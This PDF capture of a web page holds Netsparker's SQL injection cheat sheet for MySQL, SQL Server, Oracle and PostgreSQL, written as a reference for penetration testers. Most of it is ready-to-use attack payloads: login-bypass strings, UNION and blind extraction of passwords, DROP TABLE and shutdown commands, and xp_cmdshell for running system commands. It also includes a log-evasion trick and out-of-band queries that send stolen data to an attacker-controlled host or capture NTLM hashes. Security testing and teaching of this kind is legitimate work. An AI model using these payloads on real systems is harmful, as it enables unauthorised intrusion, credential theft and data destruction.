Follow Us
@netsparker

SQL Injection Cheat Sheet

What is an SQL Injection Cheat Sheet?

An SQL injection cheat sheet is a resource in which you can find detailed technical information about the many different variants of the **SQL Injection vulnerability**. This cheat sheet is of good reference to both seasoned penetration tester and also those who are just getting started in **web application security**.

About the SQL Injection Cheat Sheet

This SQL injection cheat sheet was originally published in 2007 by Ferruh Mavituna on his blog. We have updated it and moved it over from our CEO's blog. Currently this SQL Cheat Sheet only contains information for **MySQL**, **Microsoft SQL Server**, and some limited information for **ORACLE** and **PostgreSQL** SQL servers. Some of the samples in this sheet might not work in every situation because real live environments may vary

LEARN ABOUT

SQL Injection

Create PDF in your applications with the Pdfcrowd HTML to PDF API
PDFCROWD

depending on the usage of parenthesis, different code bases and unexpected, strange and complex SQL sentences.

Samples are provided to allow you to get basic idea of a potential attack and almost every section includes a brief information about itself.

M :	MySQL
S :	SQL Server
P :	PostgreSQL
O :	Oracle
+ :	Possibly all other databases

Examples;

- *(MS) means : MySQL and SQL Server etc.*
- (M*S) means : Only in some versions of MySQL or special conditions see related note and SQL Server

Table Of Contents

1. Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks
    1. Line Comments
        1. SQL Injection Attack Samples

Cross-site Scripting
DOM XSS
Local File Inclusion
Command Injection

CATEGORIES

News
Releases
Events
Product Docs & FAQS
Web Security Readings

SUBSCRIBE BY EMAIL

Get notified via email when new blog posts are published.

Email

SUBSCRIBE

ARCHIVE

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

2. Inline Comments
    1. Classical Inline Comment SQL Injection Attack Samples
    2. MySQL Version Detection Sample Attacks

3. Stacking Queries
    1. Language / Database Stacked Query Support Table
    2. About MySQL and PHP
    3. Stacked SQL Injection Attack Samples

4. If Statements
    1. MySQL If Statement
    2. SQL Server If Statement
    3. If Statement SQL Injection Attack Samples

5. Using Integers

6. String Operations
    1. String Concatenation

7. Strings without Quotes
    1. Hex based SQL Injection Samples

8. String Modification & Related

9. Union Injections
    1. UNION – Fixing Language Issues

Select Month

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

10. Bypassing Login Screens
11. Enabling xp_cmdshell in SQL Server 2005
12. Finding Database Structure in SQL Server
13. Fast way to extract data from Error Based SQL Injections in SQL Server
14. Blind SQL Injections
15. Covering Your Tracks
16. Extra MySQL Notes
17. Second Order SQL Injections
18. Out of Band (OOB) Channel Attacks

Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks

Ending / Commenting Out / Line Comments

Line Comments

Comments out rest of the query.
Line comments are generally useful for ignoring rest of the query so you don't have to deal with fixing the syntax.

- `--` (SM)
  `DROP sampletable;--`

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- `#` (M)
  `DROP sampletable;#`

Line Comments Sample SQL Injection Attacks

- Username: `admin'--`
- `SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'`
  This is going to log you as admin user, because rest of the SQL query will be ignored.

Inline Comments

Comments out rest of the query by not closing them or you can use for **bypassing blacklisting**, removing spaces, obfuscating and determining database versions.

- `/*Comment Here*/` (SM)
  - `DROP/*comment*/sampletable`
  - `DR/**/OP/*bypass blacklisting*/sampletable`
  - `SELECT/*avoid-spaces*/password/**/FROM/**/Members`

- `/*! MYSQL Special SQL *` / (M)
  This is a special comment syntax for MySQL. It's perfect for detecting MySQL version. If you put a code into this comments it's going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version.

  `SELECT /*!32302 1/0, */ 1 FROM tablename`

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Classical Inline Comment SQL Injection Attack Samples

- ID: `10; DROP TABLE members /*`
  Simply get rid of other stuff at the end the of query. Same as `10; DROP TABLE members --`

- `SELECT /*!32302 1/0, */ 1 FROM tablename`
  Will throw an **divison by 0 error** if MySQL version is higher than**3.23.02**

MySQL Version Detection Sample Attacks

- ID: `/*! 32302 10*/`

- ID: `10`
  You will get the **same response** if MySQL version is higher than **3.23.02**

- `SELECT /*!32302 1/0, */ 1 FROM tablename`
  Will throw a **division by 0 error** if MySQL version is higher than**3.23.02**

Stacking Queries

Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.

- `;` (S)
  `SELECT * FROM members; DROP members--`

Ends a query and starts a new one.

Language / Database Stacked Query Support Table

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

green: supported, **dark gray:** not supported, **light gray:** unknown

	SQL Server	MySQL	PostgreSQL	ORACLE	MS Access
ASP					
ASP.NET					
PHP					
Java					

About MySQL and PHP;

To clarify some issues;

PHP - MySQL doesn't support stacked queries, Java doesn't support stacked queries (*I'm sure for ORACLE, not quite sure about other databases*). *Normally MySQL supports stacked queries but because of database layer in most of the configurations it's not possible to execute a second query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure. Can someone clarify?*

Stacked SQL Injection Attack Samples

- ID: `10;DROP members --`
- `SELECT * FROM products WHERE id = 10; DROP members--`

This will run *DROP members* SQL sentence after normal SQL Query.

If Statements

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Get response based on a if statement. This is **one of the key points of Blind SQL Injection**, also can be very useful to test simple stuff blindly and**accurately**.

MySQL If Statement

- `IF(condition,true-part,false-part)` (M)
  `SELECT IF(1=1,'true','false')`

SQL Server If Statement

- `IF condition true-part ELSE false-part` (S)
  `IF (1=1) SELECT 'true' ELSE SELECT 'false'`

Oracle If Statement

- `BEGIN`
  `IF condition THEN true-part; ELSE false-part; END IF; END;` (O)
  `IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;`

PostgreSQL If Statement

- `SELECT CASE WHEN condition THEN true-part ELSE false-part` END; (P)
  `SELECT CASE WEHEN (1=1) THEN 'A' ELSE 'B'END;`

If Statement SQL Injection Attack Samples

`if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0` (S)

This will throw an **divide by zero error** if current logged user is not **"sa" or "dbo"**.

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Using Integers

Very useful for bypassing, **magic_quotes() and similar filters**, or even WAFs.

- `0xHEXNUMBER` (SM)
  You can write hex like these;

  `SELECT CHAR(0x66)` (S)
  `SELECT 0x5045` (*this is not an integer it will be a string from Hex*) (M)
  `SELECT 0x50 + 0x45` (*this is integer now!*) (M)

String Operations

String related operations. These can be quite useful to build up injections which are not using any quotes, bypass any other black listing or determine back end database.

String Concatenation

- `+` (S)
  `SELECT login + '-' + password FROM members`
- `||` (*MO)
  `SELECT login || '-' || password FROM members`

***About MySQL "||";**
If MySQL is running in ANSI mode it's going to work but otherwise MySQL accept it as `logical operator` it'll return 0. A better way to do it is using `CONCAT()` function in MySQL.

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- `CONCAT(str1, str2, str3, ...)` (M)
  Concatenate supplied strings.
  `SELECT CONCAT(login, password) FROM members`

Strings without Quotes

These are some direct ways to using strings but it's always possible to use `CHAR()` (MS) and `CONCAT()` (M) to generate string without quotes.

- `0x457578` (M) - Hex Representation of string
  `SELECT 0x457578`
  This will be selected as string in MySQL.

  In MySQL easy way to generate hex representations of strings use this;
  `SELECT CONCAT('0x',HEX('c:\\boot.ini'))`
- Using `CONCAT()` in MySQL
  `SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))` (M)
  This will return 'KLM'.
- `SELECT CHAR(75)+CHAR(76)+CHAR(77)` (S)
  This will return 'KLM'.
- `SELECT CHR(75)||CHR(76)||CHR(77)` (O)
  This will return 'KLM'.
- `SELECT (CHaR(75)||CHaR(76)||CHaR(77))` (P)
  This will return 'KLM'.

Hex based SQL Injection Samples

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- `SELECT LOAD_FILE(0x633A5C626F6F742E696E69)` (M)
  This will show the content of **c:\boot.ini**

String Modification & Related

- `ASCII()` (SMP)
  Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.

  ```
  SELECT ASCII('a')
  ```

- `CHAR()` (SM)
  Convert an integer of ASCII.

  ```
  SELECT CHAR(64)
  ```

Union Injections

With union you do SQL queries cross-table. Basically you can poison query to return records from another table.

```
SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
```

This will combine results from both news table and members table and return all of them.

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Another Example:

```
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
```

UNION – Fixing Language Issues

While exploiting Union injections sometimes you get errors because of different language settings (*table settings*, *field settings*, *combined table / db settings etc.*) these functions are quite useful to fix this problem. It's rare but if you dealing with *Japanese*, *Russian*, *Turkish* etc. applications then you will see it.

- SQL Server (S)
  Use `field` **`COLLATE`** `SQL_Latin1_General_Cp1254_CS_AS` or some other valid one - *check out SQL Server documentation*.

  ```
  SELECT header FROM news UNION ALL SELECT name COLLATE
  SQL_Latin1_General_Cp1254_CS_AS FROM members
  ```

- MySQL (M)
  `Hex()` for every possible issue

Bypassing Login Screens (SMO+)

SQL Injection 101, Login tricks

- `admin' --`
- `admin' #`

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- `admin'/*`
- `' or 1=1--`
- `' or 1=1#`
- `' or 1=1/*`
- `') or '1'='1--`
- `') or ('1'='1--`
- ....

- Login as different user (SM*)
  `' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--`

**Old versions of MySQL doesn't support union queries*

Bypassing second MD5 hash check login screens

If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.

Bypassing MD5 Hash Check Example (MSP)

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Username : `admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'`
Password : `1234`

`81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)`

Error Based - Find Columns Names

Finding Column Names with **HAVING BY** - Error Based (S)

In the same order,

- `' HAVING 1=1 --`
- `' GROUP BY table.columnfromerror1 HAVING 1=1 --`
- `' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --`
- `' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 --` *and so on*
- If you are not getting any more error then it's done.

Finding how many columns in SELECT query by **ORDER BY (MSO+)**

Finding column number by ORDER BY can speed up the UNION SQL Injection process.

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- `ORDER BY 1--`
- `ORDER BY 2--`
- `ORDER BY N--` *so on*
- Keep going until get an error. Error means you found the number of selected columns.

Data types, UNION, etc.

Hints,

- Always use **UNION** with **ALL** because of **image** similar non-distinct field types. By default union tries to get records with distinct.
- To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (*if injection is in WHERE*). This can be critical if you are only getting one result at a time.
- Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.
    - Be careful in Blind situtaions may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values (*because normally developers are not expecting to see NULL in a username field*)

Finding Column Type

- `' union select sum(columntofind) from users--` (S)
  `Microsoft OLE DB Provider for ODBC Drivers error '80040e07'`
  `[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.`

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

If you are not getting an error it means column is numeric.

- Also you can use CAST() or CONVERT()
  - `SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--`

- `11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 --`
  No Error - Syntax is right. MS SQL Server Used. Proceeding.
- `11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 --`
  No Error – First column is an integer.
- `11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --`
  Error! – Second column is not an integer.
- `11223344) UNION SELECT 1,'2',NULL,NULL WHERE 1=2 --`
  No Error – Second column is a string.
- `11223344) UNION SELECT 1,'2',3,NULL WHERE 1=2 --`
  Error! – Third column is not an integer. ...

  ```
  Microsoft OLE DB Provider for SQL Server error '80040e07'
  Explicit conversion from data type int to image is not allowed.
  ```

You'll get convert() errors before union target errors ! So start with convert() then union

Simple Insert (MSO+)

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

```
'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*
```

Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes

@@version (MS)
Version of database and more details for SQL Server. It's a constant. You can just select it like any other column, you don't need to supply table name. Also, you can use insert, update statements or in functions.

```
INSERT INTO members(id, user, pass) VALUES(1,
''+SUBSTRING(@@version,1,10) ,10)
```

Bulk Insert (S)

Insert a file content to a table. If you don't know internal path of web application you can **read IIS (*IIS 6 only*) metabase file**(*%systemroot%\system32\inetsrv\MetaBase.xml*) and then search in it to identify application path.

1. Create table foo(line varchar(8000))
2. bulk insert foo from 'c:\inetpub\wwwroot\login.asp'
3. *Drop temp table, and repeat for another file.*

BCP (S)

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Write text file. Login Credentials are required to use this function.

```
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c
-Slocalhost -Usa -Pfoobar
```

VBS, WSH in SQL Server (S)

You can use VBS, WSH scripting in SQL Server because of ActiveX support.

```
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec
sp_oamethod @o, 'run', NULL, 'notepad.exe' --
```

Executing system commands, xp_cmdshell (S)

Well known trick, By default it's disabled in *SQL Server 2005.* You need to have admin access.

```
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
```

Simple ping check (*configure your firewall or sniffer to identify request before launch it*),

```
EXEC master.dbo.xp_cmdshell 'ping '
```

You can not read results directly from error or union or something else.

Some Special Tables in SQL Server (S)

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- Error Messages
  `master..sysmessages`
- Linked Servers
  `master..sysservers`
- Password (*2000 and 20005 both can be crackable, they use very similar hashing algorithm*)
  SQL Server 2000: `masters..sysxlogins`
  SQL Server 2005 : `sys.sql_logins`

More Stored Procedures for SQL Server (S)

1. Cmd Execute (**xp_cmdshell**)
   exec master..xp_cmdshell 'dir'
2. Registry Stuff (**xp_regread**)
   1. xp_regaddmultistring
   2. xp_regdeletekey
   3. xp_regdeletevalue
   4. xp_regenumkeys
   5. xp_regenumvalues
   6. xp_regread
   7. xp_regremovemultistring
   8. xp_regwrite
      exec xp_regread HKEY_LOCAL_MACHINE,
      'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters',
      'nullsessionshares'

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

exec xp_regenumvalues HKEY_LOCAL_MACHINE,
'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'

3. Managing Services (**xp_servicecontrol**)
4. Medias (**xp_availablemedia**)
5. ODBC Resources (**xp_enumdsn**)
6. Login mode (**xp_loginconfig**)
7. Creating Cab Files (**xp_makecab**)
8. Domain Enumeration (**xp_ntsec_enumdomains**)
9. Process Killing (*need PID*) (**xp_terminate_process**)
10. Add new procedure (*virtually you can execute whatever you want*)
    sp_addextendedproc 'xp_webserver', 'c:\temp\x.dll'
    exec xp_webserver
11. Write text file to a UNC or an internal path (sp_makewebtask)

MSSQL Bulk Notes

```
SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/
```

```
DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0)
SELECT 0 ELSE SELECT 1/0
```

HOST_NAME()

IS_MEMBER (Transact-SQL)

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)

```
INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"
```

OPENROWSET (Transact-SQL) - **http://msdn2.microsoft.com/en-us/library/ms190312.aspx**

You can not use sub selects in SQL Server Insert queries.

SQL Injection in LIMIT (M) or ORDER (MSO)

```
SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;
```

If injection is in second *limit* you can comment it out or use in your union injection

Shutdown SQL Server (S)

When you're really pissed off, `';shutdown --`

Enabling xp_cmdshell in SQL Server 2005

By default xp_cmdshell and couple of other potentially dangerous stored procedures are disabled in SQL Server 2005. If you have admin access then you can enable these.

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

```
EXEC sp_configure 'show advanced options',1
RECONFIGURE

EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
```

Finding Database Structure in SQL Server (S)

Getting User defined Tables

```
SELECT name FROM sysobjects WHERE xtype = 'U'
```

Getting Column Names

```
SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name
= 'tablenameforcolumnnames')
```

Moving records (S)

- Modify WHERE and use `NOT IN` or `NOT EXIST`,
  `... WHERE users NOT IN ('First User', 'Second User')`
  `SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members)` *-- very good one*
- Using Dirty Tricks
  `SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as int`

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

```
Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i
WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE
o.xtype = 'U') as p where p.x=21
```

Fast way to extract data from Error Based SQL Injections in SQL Server (S)

```
';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM
syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND
name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--
```

Detailed Article: Fast way to extract data from Error Based SQL Injections

Finding Database Structure in MySQL (M)

Getting User defined Tables

```
SELECT table_name FROM information_schema.tables WHERE table_schema =
'tablename'
```

Getting Column Names

```
SELECT table_name, column_name FROM information_schema.columns WHERE
table_schema = 'tablename'
```

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Finding Database Structure in Oracle (O)

Getting User defined Tables

```
SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
```

Getting Column Names

```
SELECT * FROM all_col_comments WHERE TABLE_NAME = 'TABLE'
```

Blind SQL Injections

About Blind SQL Injections

In a quite good production application generally **you can not see error responses on the page**, so you can not extract data through Union attacks or error based attacks. You have to do use Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections.

Normal Blind, You can not see a response in the page, but you can still determine result of a query from response or HTTP status code
Totally Blind, You can not see any difference in the output in any kind. This can be an injection a logging function or similar. Not so common, though.

In normal blinds you can use **if statements** or abuse **WHERE query in injection** (*generally easier*), in totally blinds you need to use some waiting functions and

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

analyze response times. For this you can use **WAIT FOR DELAY '0:0:10'** in SQL Server, BENCHMARK() and **sleep(10)** in MySQL, **pg_sleep(10)** in PostgreSQL, and some PL/SQL tricks in ORACLE.

Real and a bit Complex Blind SQL Injection Attack Sample

This output taken from a real private Blind SQL Injection tool while exploiting SQL Server back ended application and enumerating table names. This requests done for first char of the first table name. SQL queries a bit more complex then requirement because of automation reasons. In we are trying to determine an ascii value of a char via binary search algorithm.

***TRUE** and **FALSE** flags mark queries returned true or false.*

```
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55
AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)>78--
```

```
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55
AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)>103--
```

```
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55
```

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

```
AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55
AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)>89--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55
AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55
AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)>83--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55
AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55
AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)>80--
```

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

```
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55
AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)
```

Since both of the **last 2 queries failed** we clearly know table name's first char's **ascii value is 80 which means first char is `P`**. This is the way to exploit Blind SQL injections by binary search algorithm. Other well-known way is reading data bit by bit. Both can be effective in different conditions.

Making Databases Wait / Sleep For Blind SQL Injection Attacks

First of all use this if it's really blind, otherwise just use 1/0 style errors to identify difference. Second, be careful while using times more than 20-30 seconds. database API connection or script can be timeout.

WAIT FOR DELAY 'time' (S)

This is just like sleep, wait for specified time. CPU safe way to make database wait.

```
WAITFOR DELAY '0:0:10'--
```

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Also, you can use fractions like this,

```
WAITFOR DELAY '0:0:0.51'
```

Real World Samples

- Are we 'sa' ?
  ```
  if (select user) = 'sa' waitfor delay '0:0:10'
  ```
- ProductID = `1;waitfor delay '0:0:10'--`
- ProductID = `1);waitfor delay '0:0:10'--`
- ProductID = `1';waitfor delay '0:0:10'--`
- ProductID = `1');waitfor delay '0:0:10'--`
- ProductID = `1));waitfor delay '0:0:10'--`
- ProductID = `1'));waitfor delay '0:0:10'--`

BENCHMARK() (M)

Basically, we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!

```
BENCHMARK(howmanytimes, do this)
```

Real World Samples

- Are we root ? woot!
  ```
  IF EXISTS (SELECT * FROM users WHERE username = 'root')
  BENCHMARK(1000000000,MD5(1))
  ```

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- Check Table exist in MySQL
  `IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))`

pg_sleep(seconds) (P)

Sleep for supplied seconds.

- `SELECT pg_sleep(10);`
  Sleep 10 seconds.

sleep(seconds) (M)

Sleep for supplied seconds.

- `SELECT sleep(10);`
  Sleep 10 seconds.

dbms_pipe.receive_message (O)

Sleep for supplied seconds.

- `(SELECT CASE WHEN (NVL(ASCII(SUBSTR(({INJECTION}),1,1)),0) = 100) THEN dbms_pipe.receive_message(('xyz'),10) ELSE dbms_pipe.receive_message(('xyz'),1) END FROM dual)`

  {INJECTION} = You want to run the query.

  If the condition is true, will response after 10 seconds. If is false, will be delayed for one second.

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Covering Your Tracks

SQL Server -sp_password log bypass (S)

SQL Server don't log queries that includes sp_password for security reasons(!). So if you add --sp_password to your queries it will not be in SQL Server logs (*of course still will be in web server logs, try to use POST if it's possible*)

Clear SQL Injection Tests

These tests are simply good for blind sql injection and silent attacks.

1. `product.asp?id=4 (SMO)`
    a. `product.asp?id=5-1`
    b. `product.asp?id=4 OR 1=1`

2. `product.asp?name=Book`
    a. `product.asp?name=Bo'%2b'ok`
    b. `product.asp?name=Bo' || 'ok (OM)`
    c. `product.asp?name=Book' OR 'x'='x`

Extra MySQL Notes

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- Sub Queries are working only MySQL 4.1+
- Users
  - `SELECT User,Password FROM mysql.user;`

- `SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = 'root';`
- `SEL ECT ... INTO DUMPFILE`
  - `Write quer y into a **new file** (*can not modify existing files*)`

- UDF Function
  - `create function LockWorkStation returns integer soname 'user32';`
  - `select LockWorkStation();`
  - `create function ExitProcess returns integer soname 'kernel32';`
  - `select exitprocess();`

- `SELECT USER();`
- `SELECT password,USER() FROM mysql.user;`
- First byte of admin hash
  - `SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;`

- Read File
  - `query.php?user=1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1`

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- MySQL Load Data infile
  - **By default it's not available !**
    - ```
      create table foo( line blob );
      load data infile 'c:/boot.ini' into table foo;
      select * from foo;
      ```

- More Timing in MySQL
- `select benchmark( 500000, sha1( 'test' ) );`
- `query.php?user=1+union+select+benchmark(500000,sha1(0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1`
- `select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' );`
  Enumeration data, Guessed Brute Force
  - `select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' );`

Potentially Useful MySQL Functions

- `MD5()`
  MD5 Hashing
- `SHA1()`
  SHA1 Hashing
- `PASSWORD()`
- `ENCODE()`
- `COMPRESS()`
  Compress data, can be great in large binary reading in Blind SQL Injections.

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
      ```

- `ROW_COUNT()`
- `SCHEMA()`
- `VERSION()`
  Same as `@@version`

Second Order SQL Injections

Basically, you put an SQL Injection to some place and expect it's unfiltered in another action. This is common hidden layer problem.

Name : `' + (SELECT TOP 1 password FROM users ) + '`
Email : `xx@xx.com`

If application is using name field in an unsafe stored procedure or function, process etc. then it will insert first users password as your name etc.

Forcing SQL Server to get NTLM Hashes

This attack can help you to get SQL Server user's Windows password of target server, but possibly you inbound connection will be firewalled. Can be very useful internal penetration tests. We force SQL Server to connect our Windows UNC Share and capture data NTLM session with a tool like Cain & Abel.

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Bulk insert from a UNC Share (S)

```
bulk insert foo from '\\YOURIPADDRESS\C$\x.txt'
```

Check out Bulk Insert Reference to understand how can you use bulk insert.

Out of Band Channel Attacks

SQL Server

- ?vulnerableParam=1; SELECT * FROM OPENROWSET('SQLOLEDB', ({INJECTION})+'.yourhost.com';'sa';'pwd', 'SELECT 1')
  Makes DNS resolution request to {INJECT}.yourhost.com

- ?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = '\\'+ ({INJECTION})+'.yourhost.com\\test.txt'; EXEC master..xp_dirtree @q
  Makes DNS resolution request to {INJECTION}.yourhost.com

  {INJECTION} = You want to run the query.

MySQL

- ?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat('\\\\',({INJECTION}), '.yourhost.com\\')))
  Makes a NBNS query request/DNS resolution request to yourhost.com

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- ?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE '\\\\yourhost.com\\share\\output.txt')
  Writes data to your shared folder/file

  {INJECTION} = You want to run the query.

Oracle

- ?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/ sniff.php?sniff='||({INJECTION})||'') FROM DUAL)
  Sniffer application will save results

- ?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/ '||({INJECTION})||'.html') FROM DUAL)
  Results will be saved in HTTP access logs

- ?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(({INJECTION})||'.yourhost.com') FROM DUAL)
  You need to sniff dns resolution requests to yourhost.com

- ?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(({INJECTION})||'.yourhost.com',80) FROM DUAL)
  You need to sniff dns resolution requests to yourhost.com

  {INJECTION} = You want to run the query.

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Vulnerability Classification and Severity Table

